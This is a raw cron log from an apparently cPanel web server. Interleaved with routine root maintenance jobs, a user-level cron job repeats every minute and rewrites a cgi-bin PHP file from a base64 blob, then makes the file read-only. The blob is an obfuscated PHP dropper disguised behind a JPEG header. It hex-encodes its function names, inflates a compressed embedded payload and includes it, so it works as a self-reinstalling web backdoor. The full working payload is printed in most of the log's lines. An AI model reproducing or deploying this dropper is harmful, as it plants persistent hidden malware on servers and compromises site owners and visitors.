Sep  3 13:53:01 server CROND[879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:53:01 server CROND[878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:54:01 server CROND[1358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:54:01 server CROND[1357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:54:01 server CROND[1359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:55:01 server CROND[1736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:55:01 server CROND[1738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:55:01 server CROND[1739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:55:01 server CROND[1743]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:55:01 server CROND[1742]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:55:01 server CROND[1741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:55:01 server CROND[1744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:56:01 server CROND[3196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:56:01 server CROND[3197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:56:01 server CROND[3198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:57:01 server CROND[3665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:57:01 server CROND[3666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:57:01 server CROND[3667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:57:01 server CROND[3668]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:58:01 server CROND[4046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:58:01 server CROND[4047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:58:01 server CROND[4048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:59:01 server CROND[4430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:59:01 server CROND[4431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:59:01 server CROND[4432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:00:01 server CROND[4838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 14:00:01 server CROND[4839]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 14:00:01 server CROND[4843]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 14:00:01 server CROND[4844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 14:00:01 server CROND[4848]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 14:00:01 server CROND[4847]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:00:01 server CROND[4850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:00:01 server CROND[4845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:00:01 server CROND[4853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:00:01 server CROND[4849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 14:01:01 server CROND[5756]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 14:01:01 server CROND[5755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:01:01 server CROND[5757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:01:01 server CROND[5758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:01:01 server run-parts(/etc/cron.hourly)[5756]: starting 0anacron
Sep  3 14:01:01 server run-parts(/etc/cron.hourly)[5776]: finished 0anacron
Sep  3 14:02:01 server CROND[6237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:02:01 server CROND[6238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:02:01 server CROND[6239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:03:01 server CROND[6603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:03:01 server CROND[6604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:03:01 server CROND[6605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:04:01 server CROND[7192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 14:04:01 server CROND[7193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 14:04:01 server CROND[7194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 14:05:01 server CROND[7598]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 14:05:01 server CROND[7599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
